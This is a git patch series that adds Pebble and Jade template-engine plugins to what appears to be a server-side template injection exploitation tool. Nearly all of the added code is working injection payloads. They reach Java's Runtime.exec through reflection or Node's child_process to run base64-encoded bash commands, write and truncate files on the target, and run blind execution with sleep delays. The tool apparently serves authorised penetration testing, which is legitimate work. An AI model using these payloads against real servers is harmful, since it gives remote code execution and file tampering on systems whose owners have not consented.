From 33fa5a430e12a8c8fb969408af9f02ef4d569d2d Mon Sep 17 00:00:00 2001
From: shelld3v <59408894+shelld3v@users.noreply.github.com>
Date: Wed, 28 Oct 2020 21:05:17 +0700
Subject: [PATCH 1/3] Initial commit for Pebble SSTI

---
 plugins/engines/pebble.py | 41 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 41 insertions(+)
 create mode 100644 plugins/engines/pebble.py

diff --git a/plugins/engines/pebble.py b/plugins/engines/pebble.py
new file mode 100644
index 0000000..09592dc
--- /dev/null
+++ b/plugins/engines/pebble.py
@@ -0,0 +1,41 @@
+from utils.strings import quote, chunkit, md5
+from utils.loggers import log
+from plugins.languages import java
+
+
+class Pebble(java.Java):
+    
+    def init(self):
+
+        self.update_actions({
+            'render' : {
+                'render': '{{ %(code)s }}',
+                'header': '{{ %(header)s }}',
+                'trailer': '{{ %(trailer)s }}',
+                'test_render': """{{ 'a'.toUPPERCASE() }}""",
+                'test_render_expected': 'A'
+            },
+            'write' : {
+                'call' : 'inject',
+                'write' : """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s') }}""",
+                'truncate' : """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,-n,}>%(path)s') }}""",
+            },
+            # Not using execute here since it's rendered and requires set headers and trailers
+            'execute_blind' : {
+                'call': 'inject',
+                'execute_blind': """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}') }}"""
+            },
+            'execute' : {
+                'call': 'render',
+                'execute': """{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}') }}"""
+            }
+
+        })
+
+
+        self.set_contexts([
+
+
+            # Text context, no closures
+            { 'level': 0 },
+        ])

From e798ba9751e4f894ebbbbd4a942fd9bdc793bc2a Mon Sep 17 00:00:00 2001
From: shelld3v <59408894+shelld3v@users.noreply.github.com>
Date: Wed, 28 Oct 2020 21:26:05 +0700
Subject: [PATCH 2/3] Initial commit for Jade (NodeJS) SSTI

---
 plugins/engines/jade.py | 57 +++++++++++++++++++++++++++++++++++++++++
 1 file changed, 57 insertions(+)
 create mode 100644 plugins/engines/jade.py

diff --git a/plugins/engines/jade.py b/plugins/engines/jade.py
new file mode 100644
index 0000000..e459bbd
--- /dev/null
+++ b/plugins/engines/jade.py
@@ -0,0 +1,57 @@
+from utils.strings import quote
+from plugins.languages import javascript
+from utils.loggers import log
+from utils import rand
+import base64
+import re
+
+class Jade(javascript.Javascript):
+    
+    def init(self):
+
+        self.update_actions({
+            'render' : {
+                'render': '= %(code)s',
+                'header': '= %(header)s',
+                'trailer': '= %(trailer)s',
+                'test_render': '= %(n1)s*%(n2)s' % { 
+                    'n1' : rand.randints[0], 
+                    'n2' : rand.randints[1]
+                },
+                'test_render_expected': '%(res)s' % { 
+                    'res' : rand.randints[0]*rand.randints[1] 
+                }
+            },
+            'write' : {
+                'call' : 'inject',
+                'write' : """- var x = root.process
+- x = x.mainModule.require
+- x = x('child_process')
+= x.exec('bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s')""",
+                'truncate' : """- var x = root.process
+- x = x.mainModule.require
+- x = x('child_process')
+= x.exec('bash -c {echo,-n,}>%(path)s')"""
+            },
+            'execute' : {
+                'call': 'inject',
+                'execute_blind': """- var x = root.process
+- x = x.mainModule.require
+- x = x('child_process')
+= x.exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}')"""
+            },
+            'execute_blind' : {
+                'call': 'inject',
+                'execute_blind': """- var x = root.process
+- x = x.mainModule.require
+- x = x('child_process')
+= x.exec('bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}')"""
+            },
+        })
+
+        self.set_contexts([
+
+            # Text context, no closures
+            { 'level': 0 },
+            
+        ])

From 060084e6e99b8345c023b1707357c7743f67056f Mon Sep 17 00:00:00 2001
From: shelld3v <59408894+shelld3v@users.noreply.github.com>
Date: Wed, 28 Oct 2020 21:32:54 +0700
Subject: [PATCH 3/3] Update pebble.py

---
 plugins/engines/pebble.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/plugins/engines/pebble.py b/plugins/engines/pebble.py
index 09592dc..f50c381 100644
--- a/plugins/engines/pebble.py
+++ b/plugins/engines/pebble.py
@@ -1,6 +1,7 @@
-from utils.strings import quote, chunkit, md5
 from utils.loggers import log
 from plugins.languages import java
+from utils.strings import quote
+import re
 
 
 class Pebble(java.Java):